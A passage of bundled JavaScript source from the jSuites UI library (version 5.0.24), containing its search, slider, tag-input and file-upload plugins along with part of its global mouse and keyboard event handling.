data.length : 10; for (var i = 0; i < len; i++) { if (typeof(data[i]) == 'string') { var text = data[i]; var value = data[i]; } else { // Legacy var text = data[i].text; if (! text && data[i].name) { text = data[i].name; } var value = data[i].value; if (! value && data[i].id) { value = data[i].id; } } var div = document.createElement('div'); div.setAttribute('data-value', value); div.setAttribute('data-text', text); div.className = 'jsearch_item'; if (data[i].id) { div.setAttribute('id', data[i].id) } if (obj.options.forceSelect && i == 0) { div.classList.add('selected'); } var img = document.createElement('img'); if (data[i].image) { img.src = data[i].image; } else { img.style.display = 'none'; } div.appendChild(img); var item = document.createElement('div'); item.innerHTML = text; div.appendChild(item); // Append item to the container container.appendChild(div); } } } var execute = function(str) { if (str != obj.terms) { // New terms obj.terms = str; // New index if (obj.options.forceSelect) { index = 0; } else { index = null; } // Array or remote search if (Array.isArray(obj.options.data)) { var test = function(o) { if (typeof(o) == 'string') { if ((''+o).toLowerCase().search(str.toLowerCase()) >= 0) { return true; } } else { for (var key in o) { var value = o[key]; if ((''+value).toLowerCase().search(str.toLowerCase()) >= 0) { return true; } } } return false; } var results = obj.options.data.filter(function(item) { return test(item); }); // Show items createList(results); } else { // Get remove results ajax({ url: obj.options.data + str, method: 'GET', dataType: 'json', success: function(data) { // Show items createList(data); } }); } } } // Search timer var timer = null; // Search methods var obj = function(str) { if (timer) { clearTimeout(timer); } timer = setTimeout(function() { execute(str); }, 500); } if(options.forceSelect === null) { options.forceSelect = true; } obj.options = { data: options.data || null, input: options.input || null, searchByNode: options.searchByNode || null, onselect: options.onselect || null, forceSelect: options.forceSelect, onsearch: options.onsearch || null, onbeforesearch: options.onbeforesearch || null, }; obj.selectIndex = function(item) { var id = item.getAttribute('id'); var text = item.getAttribute('data-text'); var value = item.getAttribute('data-value'); var image = item.children[0].src || ''; // Onselect if (typeof(obj.options.onselect) == 'function') { obj.options.onselect(obj, text, value, id, image); } // Close container obj.close(); } obj.open = function() { el.style.display = 'block'; } obj.close = function() { if (timer) { clearTimeout(timer); } // Current terms obj.terms = ''; // Remove results container.innerHTML = ''; // Hide el.style.display = ''; } obj.isOpened = function() { return el.style.display ? true : false; } obj.keydown = function(e) { if (obj.isOpened()) { if (e.key == 'Enter') { // Enter if (index!==null && container.children[index]) { obj.selectIndex(container.children[index]); e.preventDefault(); } else { obj.close(); } } else if (e.key === 'ArrowUp') { // Up if (index!==null && container.children[0]) { container.children[index].classList.remove('selected'); if(!obj.options.forceSelect && index === 0) { index = null; } else { index = Math.max(0, index-1); container.children[index].classList.add('selected'); } } e.preventDefault(); } else if (e.key === 'ArrowDown') { // Down if(index == null) { index = -1; } else { container.children[index].classList.remove('selected'); } if (index < 9 && container.children[index+1]) { index++; } container.children[index].classList.add('selected'); e.preventDefault(); } } } obj.keyup = function(e) { if (! obj.options.searchByNode && obj.options.input) { if (obj.options.input.tagName === 'DIV') { var terms = obj.options.input.innerText; } else { var terms = obj.options.input.value; } } else { // Current node var node = helpers.getNode(); if (node) { var terms = node.innerText; } } if (typeof(obj.options.onbeforesearch) == 'function') { var ret = obj.options.onbeforesearch(obj, terms); if (ret) { terms = ret; } else { if (ret === false) { // Ignore event return; } } } obj(terms); } obj.blur = function(e) { obj.close(); } // Add events if (obj.options.input) { obj.options.input.addEventListener("keyup", obj.keyup); obj.options.input.addEventListener("keydown", obj.keydown); obj.options.input.addEventListener("blur", obj.blur); } // Append element var container = document.createElement('div'); container.classList.add('jsearch_container'); container.onmousedown = select; el.appendChild(container); el.classList.add('jsearch'); el.search = obj; return obj; } ;// CONCATENATED MODULE: ./src/plugins/slider.js function Slider(el, options) { var obj = {}; obj.options = {}; obj.currentImage = null; if (options) { obj.options = options; } // Focus el.setAttribute('tabindex', '900') // Items obj.options.items = []; if (! el.classList.contains('jslider')) { el.classList.add('jslider'); el.classList.add('unselectable'); if (obj.options.height) { el.style.minHeight = parseInt(obj.options.height) + 'px'; } if (obj.options.width) { el.style.width = parseInt(obj.options.width) + 'px'; } if (obj.options.grid) { el.classList.add('jslider-grid'); var number = el.children.length; if (number > 4) { el.setAttribute('data-total', number - 4); } el.setAttribute('data-number', (number > 4 ? 4 : number)); } // Add slider counter var counter = document.createElement('div'); counter.classList.add('jslider-counter'); // Move children inside if (el.children.length > 0) { // Keep children items for (var i = 0; i < el.children.length; i++) { obj.options.items.push(el.children[i]); // counter click event var item = document.createElement('div'); item.onclick = function() { var index = Array.prototype.slice.call(counter.children).indexOf(this); obj.show(obj.currentImage = obj.options.items[index]); } counter.appendChild(item); } } // Add caption var caption = document.createElement('div'); caption.className = 'jslider-caption'; // Add close buttom var controls = document.createElement('div'); var close = document.createElement('div'); close.className = 'jslider-close'; close.innerHTML = ''; close.onclick = function() { obj.close(); } controls.appendChild(caption); controls.appendChild(close); } obj.updateCounter = function(index) { for (var i = 0; i < counter.children.length; i ++) { if (counter.children[i].classList.contains('jslider-counter-focus')) { counter.children[i].classList.remove('jslider-counter-focus'); break; } } counter.children[index].classList.add('jslider-counter-focus'); } obj.show = function(target) { if (! target) { var target = el.children[0]; } // Focus element el.classList.add('jslider-focus'); el.classList.remove('jslider-grid'); el.appendChild(controls); el.appendChild(counter); // Update counter var index = obj.options.items.indexOf(target); obj.updateCounter(index); // Remove display for (var i = 0; i < el.children.length; i++) { el.children[i].style.display = ''; } target.style.display = 'block'; // Is there any previous if (target.previousElementSibling) { el.classList.add('jslider-left'); } else { el.classList.remove('jslider-left'); } // Is there any next if (target.nextElementSibling && target.nextElementSibling.tagName == 'IMG') { el.classList.add('jslider-right'); } else { el.classList.remove('jslider-right'); } obj.currentImage = target; // Vertical image if (obj.currentImage.offsetHeight > obj.currentImage.offsetWidth) { obj.currentImage.classList.add('jslider-vertical'); } controls.children[0].innerText = obj.currentImage.getAttribute('title'); } obj.open = function() { obj.show(); // Event if (typeof(obj.options.onopen) == 'function') { obj.options.onopen(el); } } obj.close = function() { // Remove control classes el.classList.remove('jslider-focus'); el.classList.remove('jslider-left'); el.classList.remove('jslider-right'); // Show as a grid depending on the configuration if (obj.options.grid) { el.classList.add('jslider-grid'); } // Remove display for (var i = 0; i < el.children.length; i++) { el.children[i].style.display = ''; } // Remove controls from the component counter.remove(); controls.remove(); // Current image obj.currentImage = null; // Event if (typeof(obj.options.onclose) == 'function') { obj.options.onclose(el); } } obj.reset = function() { el.innerHTML = ''; } obj.next = function() { var nextImage = obj.currentImage.nextElementSibling; if (nextImage && nextImage.tagName === 'IMG') { obj.show(obj.currentImage.nextElementSibling); } } obj.prev = function() { if (obj.currentImage.previousElementSibling) { obj.show(obj.currentImage.previousElementSibling); } } var mouseUp = function(e) { // Open slider if (e.target.tagName == 'IMG') { obj.show(e.target); } else if (! e.target.classList.contains('jslider-close') && ! (e.target.parentNode.classList.contains('jslider-counter') || e.target.classList.contains('jslider-counter'))){ // Arrow controls var offsetX = e.offsetX || e.changedTouches[0].clientX; if (e.target.clientWidth - offsetX < 40) { // Show next image obj.next(); } else if (offsetX < 40) { // Show previous image obj.prev(); } } } if ('ontouchend' in document.documentElement === true) { el.addEventListener('touchend', mouseUp); } else { el.addEventListener('mouseup', mouseUp); } // Add global events el.addEventListener("swipeleft", function(e) { obj.next(); e.preventDefault(); e.stopPropagation(); }); el.addEventListener("swiperight", function(e) { obj.prev(); e.preventDefault(); e.stopPropagation(); }); el.addEventListener('keydown', function(e) { if (e.which == 27) { obj.close(); } }); el.slider = obj; return obj; } ;// CONCATENATED MODULE: ./src/plugins/tags.js function Tags(el, options) { // Redefine configuration if (el.tags) { return el.tags.setOptions(options, true); } var obj = { type:'tags' }; obj.options = {}; // Limit var limit = function() { return obj.options.limit && el.children.length >= obj.options.limit ? true : false; } // Search helpers var search = null; var searchContainer = null; obj.setOptions = function(options, reset) { /** * @typedef {Object} defaults * @property {(string|Array)} value - Initial value of the compontent * @property {number} limit - Max number of tags inside the element * @property {string} search - The URL for suggestions * @property {string} placeholder - The default instruction text on the element * @property {validation} validation - Method to validate the tags * @property {requestCallback} onbeforechange - Method to be execute before any changes on the element * @property {requestCallback} onchange - Method to be execute after any changes on the element * @property {requestCallback} onfocus - Method to be execute when on focus * @property {requestCallback} onblur - Method to be execute when on blur * @property {requestCallback} onload - Method to be execute when the element is loaded */ var defaults = { value: '', limit: null, search: null, placeholder: null, validation: null, onbeforepaste: null, onbeforechange: null, onlimit: null, onchange: null, onfocus: null, onblur: null, onload: null, } // Loop through though the default configuration for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { if (typeof(obj.options[property]) == 'undefined' || reset === true) { obj.options[property] = defaults[property]; } } } // Placeholder if (obj.options.placeholder) { el.setAttribute('data-placeholder', obj.options.placeholder); } else { el.removeAttribute('data-placeholder'); } el.placeholder = obj.options.placeholder; // Update value obj.setValue(obj.options.value); // Validate items filter(); // Create search box if (obj.options.search) { if (! searchContainer) { searchContainer = document.createElement('div'); el.parentNode.insertBefore(searchContainer, el.nextSibling); // Create container search = Search(searchContainer, { data: obj.options.search, onselect: function(a,b,c) { obj.selectIndex(b,c); } }); } } else { if (searchContainer) { search = null; searchContainer.remove(); searchContainer = null; } } return obj; } /** * Add a new tag to the element * @param {(?string|Array)} value - The value of the new element */ obj.add = function(value, focus) { if (typeof(obj.options.onbeforechange) == 'function') { var ret = obj.options.onbeforechange(el, obj, obj.options.value, value); if (ret === false) { return false; } else { if (ret != null) { value = ret; } } } // Make sure search is closed if (search) { search.close(); } if (limit()) { if (typeof(obj.options.onlimit) == 'function') { obj.options.onlimit(obj, obj.options.limit); } else { alert(dictionary.translate('You reach the limit number of entries') + ' ' + obj.options.limit); } } else { // Get node var node = helpers.getNode(); if (node && node.parentNode && node.parentNode.classList.contains('jtags') && node.nextSibling && (! (node.nextSibling.innerText && node.nextSibling.innerText.trim()))) { div = node.nextSibling; } else { // Remove not used last item if (el.lastChild) { if (! el.lastChild.innerText.trim()) { el.removeChild(el.lastChild); } } // Mix argument string or array if (! value || typeof(value) == 'string') { var div = createElement(value, value, node); } else { for (var i = 0; i <= value.length; i++) { if (! limit()) { if (! value[i] || typeof(value[i]) == 'string') { var t = value[i] || ''; var v = null; } else { var t = value[i].text; var v = value[i].value; } // Add element var div = createElement(t, v); } } } // Change change(); } // Place caret if (focus) { setFocus(div); } } } obj.setLimit = function(limit) { obj.options.limit = limit; var n = el.children.length - limit; while (el.children.length > limit) { el.removeChild(el.lastChild); } } // Remove a item node obj.remove = function(node) { // Remove node node.parentNode.removeChild(node); // Make sure element is not blank if (! el.children.length) { obj.add('', true); } else { change(); } } /** * Get all tags in the element * @return {Array} data - All tags as an array */ obj.getData = function() { var data = []; for (var i = 0; i < el.children.length; i++) { // Get value var text = el.children[i].innerText.replace("\n", ""); // Get id var value = el.children[i].getAttribute('data-value'); if (! value) { value = text; } // Item if (text || value) { data.push({ text: text, value: value }); } } return data; } /** * Get the value of one tag. Null for all tags * @param {?number} index - Tag index number. Null for all tags. * @return {string} value - All tags separated by comma */ obj.getValue = function(index) { var value = null; if (index != null) { // Get one individual value value = el.children[index].getAttribute('data-value'); if (! value) { value = el.children[index].innerText.replace("\n", ""); } } else { // Get all var data = []; for (var i = 0; i < el.children.length; i++) { value = el.children[i].innerText.replace("\n", ""); if (value) { data.push(obj.getValue(i)); } } value = data.join(','); } return value; } /** * Set the value of the element based on a string separeted by (,|;|\r\n) * @param {mixed} value - A string or array object with values */ obj.setValue = function(mixed) { if (! mixed) { obj.reset(); } else { if (el.value != mixed) { if (Array.isArray(mixed)) { obj.add(mixed); } else { // Remove whitespaces var text = (''+mixed).trim(); // Tags var data = extractTags(text); // Reset el.innerHTML = ''; // Add tags to the element obj.add(data); } } } } /** * Reset the data from the element */ obj.reset = function() { // Empty class el.classList.add('jtags-empty'); // Empty element el.innerHTML = '<div></div>'; // Execute changes change(); } /** * Verify if all tags in the element are valid * @return {boolean} */ obj.isValid = function() { var test = 0; for (var i = 0; i < el.children.length; i++) { if (el.children[i].classList.contains('jtags_error')) { test++; } } return test == 0 ? true : false; } /** * Add one element from the suggestions to the element * @param {object} item - Node element in the suggestions container */ obj.selectIndex = function(text, value) { var node = helpers.getNode(); if (node) { // Append text to the caret node.innerText = text; // Set node id if (value) { node.setAttribute('data-value', value); } // Remove any error node.classList.remove('jtags_error'); if (! limit()) { // Add new item obj.add('', true); } } } /** * Search for suggestions * @param {object} node - Target node for any suggestions */ obj.search = function(node) { // Search for var terms = node.innerText; } // Destroy tags element obj.destroy = function() { // Bind events el.removeEventListener('mouseup', tagsMouseUp); el.removeEventListener('keydown', tagsKeyDown); el.removeEventListener('keyup', tagsKeyUp); el.removeEventListener('paste', tagsPaste); el.removeEventListener('focus', tagsFocus); el.removeEventListener('blur', tagsBlur); // Remove element el.parentNode.removeChild(el); } var setFocus = function(node) { if (el.children.length) { var range = document.createRange(); var sel = window.getSelection(); if (! node) { var node = el.childNodes[el.childNodes.length-1]; } range.setStart(node, node.length) range.collapse(true) sel.removeAllRanges() sel.addRange(range) el.scrollLeft = el.scrollWidth; } } var createElement = function(label, value, node) { var div = document.createElement('div'); div.innerHTML = label ? label : ''; if (value) { div.setAttribute('data-value', value); } if (node && node.parentNode.classList.contains('jtags')) { el.insertBefore(div, node.nextSibling); } else { el.appendChild(div); } return div; } var change = function() { // Value var value = obj.getValue(); if (value != obj.options.value) { obj.options.value = value; if (typeof(obj.options.onchange) == 'function') { obj.options.onchange(el, obj, obj.options.value); } // Lemonade JS if (el.value != obj.options.value) { el.value = obj.options.value; if (typeof(el.oninput) == 'function') { el.oninput({ type: 'input', target: el, value: el.value }); } } } filter(); } /** * Filter tags */ var filter = function() { for (var i = 0; i < el.children.length; i++) { if (el.children[i].tagName === 'DIV') { // Create label design if (!obj.getValue(i)) { el.children[i].classList.remove('jtags_label'); } else { el.children[i].classList.add('jtags_label'); // Validation in place if (typeof (obj.options.validation) == 'function') { if (obj.getValue(i)) { if (!obj.options.validation(el.children[i], el.children[i].innerText, el.children[i].getAttribute('data-value'))) { el.children[i].classList.add('jtags_error'); } else { el.children[i].classList.remove('jtags_error'); } } else { el.children[i].classList.remove('jtags_error'); } } else { el.children[i].classList.remove('jtags_error'); } } } } isEmpty(); } var isEmpty = function() { // Can't be empty if (! el.innerText.trim()) { if (! el.children.length || el.children[0].tagName === 'BR') { el.innerHTML = ''; setFocus(createElement()); } } else { el.classList.remove('jtags-empty'); } } /** * Extract tags from a string * @param {string} text - Raw string * @return {Array} data - Array with extracted tags */ var extractTags = function(text) { /** @type {Array} */ var data = []; /** @type {string} */ var word = ''; // Remove whitespaces text = text.trim(); if (text) { for (var i = 0; i < text.length; i++) { if (text[i] == ',' || text[i] == ';' || text[i] == '\n') { if (word) { data.push(word.trim()); word = ''; } } else { word += text[i]; } } if (word) { data.push(word); } } return data; } /** @type {number} */ var anchorOffset = 0; /** * Processing event keydown on the element * @param e {object} */ var tagsKeyDown = function(e) { // Anchoroffset anchorOffset = window.getSelection().anchorOffset; // Verify if is empty isEmpty(); // Comma if (e.key === 'Tab' || e.key === ';' || e.key === ',') { var n = window.getSelection().anchorOffset; if (n > 1) { if (limit()) { if (typeof(obj.options.onlimit) == 'function') { obj.options.onlimit(obj, obj.options.limit) } } else { obj.add('', true); } } e.preventDefault(); } else if (e.key == 'Enter') { if (! search || ! search.isOpened()) { var n = window.getSelection().anchorOffset; if (n > 1) { if (! limit()) { obj.add('', true); } } e.preventDefault(); } } else if (e.key == 'Backspace') { // Back space - do not let last item to be removed if (el.children.length == 1 && window.getSelection().anchorOffset < 1) { e.preventDefault(); } } // Search events if (search) { search.keydown(e); } // Verify if is empty isEmpty(); } /** * Processing event keyup on the element * @param e {object} */ var tagsKeyUp = function(e) { if (e.which == 39) { // Right arrow var n = window.getSelection().anchorOffset; if (n > 1 && n == anchorOffset) { obj.add('', true); } } else if (e.which == 13 || e.which == 38 || e.which == 40) { e.preventDefault(); } else { if (search) { search.keyup(e); } } filter(); } /** * Processing event paste on the element * @param e {object} */ var tagsPaste = function(e) { if (e.clipboardData || e.originalEvent.clipboardData) { var text = (e.originalEvent || e).clipboardData.getData('text/plain'); } else if (window.clipboardData) { var text = window.clipboardData.getData('Text'); } var data = extractTags(text); if (typeof(obj.options.onbeforepaste) == 'function') { var ret = obj.options.onbeforepaste(el, obj, data); if (ret === false) { e.preventDefault(); return false; } else { if (ret) { data = ret; } } } if (data.length > 1) { obj.add(data, true); e.preventDefault(); } else if (data[0]) { document.execCommand('insertText', false, data[0]) e.preventDefault(); } } /** * Processing event mouseup on the element * @param e {object} */ var tagsMouseUp = function(e) { if (e.target.parentNode && e.target.parentNode.classList.contains('jtags')) { if (e.target.classList.contains('jtags_label') || e.target.classList.contains('jtags_error')) { var rect = e.target.getBoundingClientRect(); if (rect.width - (e.clientX - rect.left) < 16) { obj.remove(e.target); } } } // Set focus in the last item if (e.target == el) { setFocus(); } } var tagsFocus = function() { if (! el.classList.contains('jtags-focus')) { if (! el.children.length || obj.getValue(el.children.length - 1)) { if (! limit()) { createElement(''); } } if (typeof(obj.options.onfocus) == 'function') { obj.options.onfocus(el, obj, obj.getValue()); } el.classList.add('jtags-focus'); } } var tagsBlur = function() { if (el.classList.contains('jtags-focus')) { if (search) { search.close(); } for (var i = 0; i < el.children.length - 1; i++) { // Create label design if (! obj.getValue(i)) { el.removeChild(el.children[i]); } } change(); el.classList.remove('jtags-focus'); if (typeof(obj.options.onblur) == 'function') { obj.options.onblur(el, obj, obj.getValue()); } } } var init = function() { // Bind events if ('touchend' in document.documentElement === true) { el.addEventListener('touchend', tagsMouseUp); } else { el.addEventListener('mouseup', tagsMouseUp); } el.addEventListener('keydown', tagsKeyDown); el.addEventListener('keyup', tagsKeyUp); el.addEventListener('paste', tagsPaste); el.addEventListener('focus', tagsFocus); el.addEventListener('blur', tagsBlur); // Editable el.setAttribute('contenteditable', true); // Prepare container el.classList.add('jtags'); // Initial options obj.setOptions(options); if (typeof(obj.options.onload) == 'function') { obj.options.onload(el, obj); } // Change methods el.change = obj.setValue; // Global generic value handler el.val = function(val) { if (val === undefined) { return obj.getValue(); } else { obj.setValue(val); } } el.tags = obj; } init(); return obj; } ;// CONCATENATED MODULE: ./src/plugins/upload.js function Upload(el, options) { var obj = {}; obj.options = {}; // Default configuration var defaults = { type: 'image', extension: '*', input: false, minWidth: false, maxWidth: null, maxHeight: null, maxJpegSizeBytes: null, // For example, 350Kb would be 350000 onchange: null, multiple: false, remoteParser: null, }; // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } // Multiple if (obj.options.multiple == true) { el.setAttribute('data-multiple', true); } // Container el.content = []; // Upload icon el.classList.add('jupload'); if (obj.options.input == true) { el.classList.add('input'); } obj.add = function(data) { // Reset container for single files if (obj.options.multiple == false) { el.content = []; el.innerText = ''; } // Append to the element if (obj.options.type == 'image') { var img = document.createElement('img'); img.setAttribute('src', data.file); img.setAttribute('tabindex', -1); if (! el.getAttribute('name')) { img.className = 'jfile'; img.content = data; } el.appendChild(img); } else { if (data.name) { var name = data.name; } else { var name = data.file; } var div = document.createElement('div'); div.innerText = name || obj.options.type; div.classList.add('jupload-item'); div.setAttribute('tabindex', -1); el.appendChild(div); } if (data.content) { data.file = helpers.guid(); } // Push content el.content.push(data); // Onchange if (typeof(obj.options.onchange) == 'function') { obj.options.onchange(el, data); } } obj.addFromFile = function(file) { var type = file.type.split('/'); if (type[0] == obj.options.type) { var readFile = new FileReader(); readFile.addEventListener("load", function (v) { var data = { file: v.srcElement.result, extension: file.name.substr(file.name.lastIndexOf('.') + 1), name: file.name, size: file.size, lastmodified: file.lastModified, content: v.srcElement.result, } obj.add(data); }); readFile.readAsDataURL(file); } else { alert(dictionary.translate('This extension is not allowed')); } } obj.addFromUrl = function(src) { if (src.substr(0,4) != 'data' && ! obj.options.remoteParser) { console.error('remoteParser not defined in your initialization'); } else { // This is to process cross domain images if (src.substr(0,4) == 'data') { var extension = src.split(';') extension = extension[0].split('/'); var type = extension[0].replace('data:',''); if (type == obj.options.type) { var data = { file: src, name: '', extension: extension[1], content: src, } obj.add(data); } else { alert(obj.options.text.extensionNotAllowed); } } else { var extension = src.substr(src.lastIndexOf('.') + 1); // Work for cross browsers src = obj.options.remoteParser + src; // Get remove content ajax({ url: src, type: 'GET', dataType: 'blob', success: function(data) { //add(extension[0].replace('data:',''), data); } }) } } } var getDataURL = function(canvas, type) { var compression = 0.92; var lastContentLength = null; var content = canvas.toDataURL(type, compression); while (obj.options.maxJpegSizeBytes && type === 'image/jpeg' && content.length > obj.options.maxJpegSizeBytes && content.length !== lastContentLength) { // Apply the compression compression *= 0.9; lastContentLength = content.length; content = canvas.toDataURL(type, compression); } return content; } var mime = obj.options.type + '/' + obj.options.extension; var input = document.createElement('input'); input.type = 'file'; input.setAttribute('accept', mime); input.onchange = function() { for (var i = 0; i < this.files.length; i++) { obj.addFromFile(this.files[i]); } } // Allow multiple files if (obj.options.multiple == true) { input.setAttribute('multiple', true); } var current = null; el.addEventListener("click", function(e) { current = null; if (! el.children.length || e.target === el) { helpers.click(input); } else { if (e.target.parentNode == el) { current = e.target; } } }); el.addEventListener("dblclick", function(e) { helpers.click(input); }); el.addEventListener('dragenter', function(e) { el.style.border = '1px dashed #000'; }); el.addEventListener('dragleave', function(e) { el.style.border = '1px solid #eee'; }); el.addEventListener('dragstop', function(e) { el.style.border = '1px solid #eee'; }); el.addEventListener('dragover', function(e) { e.preventDefault(); }); el.addEventListener('keydown', function(e) { if (current && e.which == 46) { var index = Array.prototype.indexOf.call(el.children, current); if (index >= 0) { el.content.splice(index, 1); current.remove(); current = null; } } }); el.addEventListener('drop', function(e) { e.preventDefault(); e.stopPropagation(); var html = (e.originalEvent || e).dataTransfer.getData('text/html'); var file = (e.originalEvent || e).dataTransfer.files; if (file.length) { for (var i = 0; i < e.dataTransfer.files.length; i++) { obj.addFromFile(e.dataTransfer.files[i]); } } else if (html) { if (obj.options.multiple == false) { el.innerText = ''; } // Create temp element var div = document.createElement('div'); div.innerHTML = html; // Extract images var img = div.querySelectorAll('img'); if (img.length) { for (var i = 0; i < img.length; i++) { obj.addFromUrl(img[i].src); } } } el.style.border = '1px solid #eee'; return false; }); el.val = function(val) { if (val === undefined) { return el.content && el.content.length ? el.content : null; } else { // Reset el.innerText = ''; el.content = []; if (val) { if (Array.isArray(val)) { for (var i = 0; i < val.length; i++) { if (typeof(val[i]) == 'string') { obj.add({ file: val[i] }); } else { obj.add(val[i]); } } } else if (typeof(val) == 'string') { obj.add({ file: val }); } } } } el.upload = el.image = obj; return obj; } // EXTERNAL MODULE: ./packages/sha512/sha512.js var sha512 = __webpack_require__(195); var sha512_default = /*#__PURE__*/__webpack_require__.n(sha512); ;// CONCATENATED MODULE: ./src/jsuites.js var jSuites = { // Helpers ...dictionary, ...helpers, /** Current version */ version: '5.0.24', /** Bind new extensions to Jsuites */ setExtensions: function(o) { if (typeof(o) == 'object') { var k = Object.keys(o); for (var i = 0; i < k.length; i++) { jSuites[k[i]] = o[k[i]]; } } }, tracking: Tracking, path: Path, sorting: Sorting, lazyLoading: LazyLoading, // Plugins ajax: ajax, animation: animation, calendar: calendar, color: Color, contextmenu: contextmenu, dropdown: dropdown, editor: editor, floating: floating, form: plugins_form, mask: mask, modal: modal, notification: notification, palette: palette, picker: Picker, progressbar: Progressbar, rating: Rating, search: Search, slider: Slider, tabs: Tabs, tags: Tags, toolbar: Toolbar, upload: Upload, validations: validations, } // Legacy jSuites.image = Upload; jSuites.image.create = function(data) { var img = document.createElement('img'); img.setAttribute('src', data.file); img.className = 'jfile'; img.setAttribute('tabindex', -1); img.content = data; return img; } jSuites.tracker = plugins_form; jSuites.loading = animation.loading; jSuites.sha512 = (sha512_default()); /** Core events */ const Events = function() { document.jsuitesComponents = []; const find = function(DOMElement, component) { if (DOMElement[component.type] && DOMElement[component.type] == component) { return true; } if (DOMElement.component && DOMElement.component == component) { return true; } if (DOMElement.parentNode) { return find(DOMElement.parentNode, component); } return false; } const isOpened = function(e) { if (document.jsuitesComponents && document.jsuitesComponents.length > 0) { for (var i = 0; i < document.jsuitesComponents.length; i++) { if (document.jsuitesComponents[i] && ! find(e, document.jsuitesComponents[i])) { document.jsuitesComponents[i].close(); } } } } // Width of the border let cornerSize = 15; // Current element let element = null; // Controllers let editorAction = false; // Event state let state = { x: null, y: null, } // Tooltip element let tooltip = document.createElement('div') tooltip.classList.add('jtooltip'); // Events const mouseDown = function(e) { // Check if this is the floating var item = jSuites.findElement(e.target, 'jpanel'); // Jfloating found if (item && ! item.classList.contains("readonly")) { // Add focus to the chart container item.focus(); // Keep the tracking information var rect = e.target.getBoundingClientRect(); editorAction = { e: item, x: e.clientX, y: e.clientY, w: rect.width, h: rect.height, d: item.style.cursor, resizing: item.style.cursor ? true : false, actioned: false, } // Make sure width and height styling is OK if (! item.style.width) { item.style.width = rect.width + 'px'; } if (! item.style.height) { item.style.height = rect.height + 'px'; } // Remove any selection from the page var s = window.getSelection(); if (s.rangeCount) { for (var i = 0; i < s.rangeCount; i++) { s.removeRange(s.getRangeAt(i)); } } e.preventDefault(); e.stopPropagation(); } else { // No floating action found editorAction = false; } // Verify current components tracking if (e.changedTouches && e.changedTouches[0]) { var x = e.changedTouches[0].clientX; var y = e.changedTouches[0].clientY; } else { var x = e.clientX; var y = e.clientY; } // Which component I am clicking var path = e.path || (e.composedPath && e.composedPath()); // If path available get the first element in the chain if (path) { element = path[0]; } else { // Try to guess using the coordinates if (e.target && e.target.shadowRoot) { var d = e.target.shadowRoot; } else { var d = document; } // Get the first target element element = d.elementFromPoint(x, y); } isOpened(element); } const mouseUp = function(e) { if (editorAction && editorAction.e) { if (typeof(editorAction.e.refresh) == 'function' && state.actioned) { editorAction.e.refresh(); } editorAction.e.style.cursor = ''; } // Reset state = { x: null, y: null, } editorAction = false; } const mouseMove = function(e) { if (editorAction) { var x = e.clientX || e.pageX; var y = e.clientY || e.pageY; // Action on going if (! editorAction.resizing) { if (state.x == null && state.y == null) { state.x = x; state.y = y; } var dx = x - state.x; var dy = y - state.y; var top = editorAction.e.offsetTop + dy; var left = editorAction.e.offsetLeft + dx; // Update position editorAction.e.style.top = top + 'px'; editorAction.e.style.left = left + 'px'; editorAction.e.style.cursor = "move"; state.x = x; state.y = y; // Update element if (typeof(editorAction.e.refresh) == 'function') { state.actioned = true; editorAction.e.refresh('position', top, left); } } else { var width = null; var height = null; if (editorAction.d == 'e-resize' || editorAction.d == 'ne-resize' || editorAction.d == 'se-resize') { // Update width width = editorAction.w + (x - editorAction.x); editorAction.e.style.width = width + 'px'; // Update Height if (e.shiftKey) { var newHeight = (x - editorAction.x) * (editorAction.h / editorAction.w); height = editorAction.h + newHeight; editorAction.e.style.height = height + 'px'; } else { var newHeight = false; } } if (! newHeight) { if (editorAction.d == 's-resize' || editorAction.d == 'se-resize' || editorAction.d == 'sw-resize') { height = editorAction.h + (y - editorAction.y); editorAction.e.style.height = height + 'px'; } } // Update element if (typeof(editorAction.e.refresh) == 'function') { state.actioned = true; editorAction.e.refresh('dimensions', width, height); } } } else { // Resizing action var item = jSuites.findElement(e.target, 'jpanel'); // Found eligible component if (item) { if (item.getAttribute('tabindex')) { var rect = item.getBoundingClientRect(); if (e.clientY - rect.top < cornerSize) { if (rect.width - (e.clientX - rect.left) < cornerSize) { item.style.cursor = 'ne-resize'; } else if (e.clientX - rect.left < cornerSize) { item.style.cursor = 'nw-resize'; } else { item.style.cursor = 'n-resize'; } } else if (rect.height - (e.clientY - rect.top) < cornerSize) { if (rect.width - (e.clientX - rect.left) < cornerSize) { item.style.cursor = 'se-resize'; } else if (e.clientX - rect.left < cornerSize) { item.style.cursor = 'sw-resize'; } else { item.style.cursor = 's-resize'; } } else if (rect.width - (e.clientX - rect.left) < cornerSize) { item.style.cursor = 'e-resize'; } else if (e.clientX - rect.left < cornerSize) { item.style.cursor = 'w-resize'; } else { item.style.cursor = ''; } } } } } const mouseOver = function(e) { var message = e.target.getAttribute('data-tooltip'); if (message) { // Instructions tooltip.innerText = message; // Position if (e.changedTouches && e.changedTouches[0]) { var x = e.changedTouches[0].clientX; var y = e.changedTouches[0].clientY; } else { var x = e.clientX; var y = e.clientY; } tooltip.style.top = y + 'px'; tooltip.style.left = x + 'px'; document.body.appendChild(tooltip); } else if (tooltip.innerText) { tooltip.innerText = ''; document.body.removeChild(tooltip); } } const dblClick = function(e) { var item = jSuites.findElement(e.target, 'jpanel'); if (item && typeof(item.dblclick) == 'function') { // Create edition item.dblclick(e); } } const contextMenu = function(e) { var item = document.activeElement; if (item && typeof(item.contextmenu) == 'function') { // Create edition item.contextmenu(e); e.preventDefault(); e.stopImmediatePropagation(); } else { // Search for possible context menus item = jSuites.findElement(e.target, function(o) { return o.tagName && o.getAttribute('aria-contextmenu-id'); }); if (item) { var o = document.querySelector('#' + item); if (! o) { console.error('JSUITES: contextmenu id not found: ' + item); } else { o.contextmenu.open(e); e.preventDefault(); e.stopImmediatePropagation(); } } } } const keyDown = function(e) { let item = document.activeElement; if (item) { if (e.key === "Delete" && typeof(item.delete) == 'function') { item.delete(); e.preventDefault(); e.stopImmediatePropagation(); } } if (document.jsuitesComponents && document.jsuitesComponents.length) { item = document.jsuitesComponents[document.jsuitesComponents.length - 1] if (item) { if (e.key === "Escape" && typeof(item.isOpened) == 'function' && typeof(item.close) == 'function') { if (item.isOpened()) { item.close(); e.preventDefault(); e.stopImmediatePropagation(); } } } } } const input = function(e) { if (e.target.getAttribute('data-mask') || e.target.mask) { jSuites.mask(e); } } document.addEventListener('mouseup', mouseUp); document.addEventListener("mousedown", mouseDown); document.addEventListener('mousemove', mouseMove); document.addEventListener('mouseover', mouseOver); document.addEventListener('dblclick', 